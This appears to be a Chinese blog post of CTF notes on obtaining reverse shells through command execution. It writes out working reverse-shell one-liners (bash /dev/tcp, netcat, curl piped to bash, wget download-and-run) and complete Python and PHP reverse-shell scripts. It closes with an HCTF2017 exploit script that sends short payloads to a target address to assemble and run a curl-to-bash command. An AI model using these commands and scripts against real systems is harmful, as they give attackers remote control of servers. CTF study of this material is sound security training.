time:2019-04-11 21:07
最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell,这里记录一下。
1.bash反弹shell
个人感觉bash反弹是最简单、也是最常见的一种。
bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹
Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境
开启外网主机监听
root@kali:~# nc -lvvp 8080
listening on [any] 8080 ...
kali : 192.168.20.151
centos:192.168.20.130
先用kali开启监听:
然后centos执行bash一句话。
成功反弹。
2.netcat 一句话反弹
~ nc 192.168.31.151 7777 -t /bin/bash
命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。
先开启监听7777端口。
交互式反弹
3.curl反弹shell
前提要利用bash一句话的情况下使用curl反弹shell
在存在命令执行的服务器上执行curl ip|bash
,该ip的index文件上含有bash一句话,就可以反弹shell。
例如在自己的服务器index上写上一句话
bash -i >& /dev/tcp/192.168.20.151/7777 0>&1
192.168.20.151就是作为监听端口的服务器用来得到反弹的shell。
存在一句话,利用curl反弹。
kali开启监听
4.wget方式反弹
利用wget进行下载执行
wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php
利用下面贴出的php进行反弹。
开启监听
成功反弹shell
5.其他脚本反弹
python反弹
开启kail监听
反弹成功。
py脚本
#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
php反弹
开启kail监听端口,
成功反弹,不过这里要将php保存成txt文件进行反弹,若为php文件不会反弹成功。
php脚本:
<?php
$sock=fsockopen("192.168.20.151",7777);//localhost为自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>
ctf遇到的命令执行反弹shell
####HCTF2017的一道
这道题大概意思就是存在命令执行,但单次输入字符不得大于5。因此利用linux下特有的命令来写入shell反弹。原理就是利用curl ip|bash等很多方式去反弹shell。网上很多教程具体就不说了。
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)
在自己服务器中放入bash一句话,利用curl ip|bash反弹shell
开启监听,执行后可反弹shell。
利用linux文件写入技巧得到
ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中
可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。